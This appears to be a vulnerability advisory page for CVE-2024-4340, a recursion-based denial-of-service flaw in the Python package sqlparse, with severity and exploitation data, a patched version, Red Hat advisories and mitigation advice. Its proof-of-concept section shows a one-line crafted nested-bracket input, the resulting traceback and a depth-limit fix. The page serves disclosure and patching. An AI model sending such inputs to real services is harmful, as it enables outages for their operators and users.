CVE-2024-4340 is a high-severity (CVSS 7.5) CWE-674 vulnerability in sqlparse. A fix is available for sqlparse — see the affected versions and patch details below.
Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-4340.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2024-4340 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 383,485 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
sqlparseReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.
Details + PoC
Running the following code will raise Maximum recursion limit exceeded exception:
import sqlparse
sqlparse.parse('[' * 10000 + ']' * 10000)
We expect a traceback of RecursionError:
Traceback (most recent call last):
File "trigger_sqlparse_nested_list.py", line 3, in <module>
sqlparse.parse('[' * 10000 + ']' * 10000)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py", line 30, in parse
return tuple(parsestream(sql, encoding))
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filter_stack.py", line 36, in run
stmt = grouping.group(stmt)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 428, in group
func(stmt)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 53, in group_brackets
_group_matching(tlist, sql.SquareBrackets)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 48, in _group_matching
tlist.group_tokens(cls, open_idx, close_idx)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 328, in group_tokens
grp = grp_cls(subtokens)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 161, in __init__
super().__init__(None, str(self))
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in __str__
return ''.join(token.value for token in self.flatten())
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in <genexpr>
return ''.join(token.value for token in self.flatten())
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
[Previous line repeated 983 more times]
RecursionError: maximum recursion depth exceeded
Fix suggestion
The flatten() function of TokenList class should limit the recursion to a maximal depth:
from sqlparse.exceptions import SQLParseError
MAX_DEPTH = 100
def flatten(self, depth=1):
"""Generator yielding ungrouped tokens.
This method is recursively called for all child tokens.
"""
if depth >= MAX_DEPTH:
raise SQLParseError('Maximal depth reached')
for token in self.tokens:
if token.is_group:
yield from token.flatten(depth + 1)
else:
yield token
Impact
Denial of Service (the impact depends on the use). Anyone parsing a user input with sqlparse.parse() is affected.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | sqlparse | all versions | 0.5.0pip install --upgrade 'sqlparse==0.5.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sqlparse, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update sqlparse to 0.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-4340 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.4 for RHEL 8 | python3x-sqlparse-0:0.5.0-1.el8ap | RHSA-2024:3781 |
| Red Hat OpenStack Platform 17.1 for RHEL 8 | python-sqlparse-0:0.4.1-2.el8ost | RHSA-2024:9986 |
| Red Hat OpenStack Platform 17.1 for RHEL 9 | python-sqlparse-0:0.4.1-2.el9ost | RHSA-2024:9984 |
| Red Hat Satellite 6.15 for RHEL 8 | python-sqlparse-0:0.5.0-1.el8pc | RHSA-2025:9838 |
| RHUI 4 for RHEL 8 | python-sqlparse-0:0.5.0-1.el8ui | RHSA-2025:1335 |
Frequently Asked Questions
Is CVE-2024-4340 in your dependencies?
Find it across PyPI, including transitive dependencies.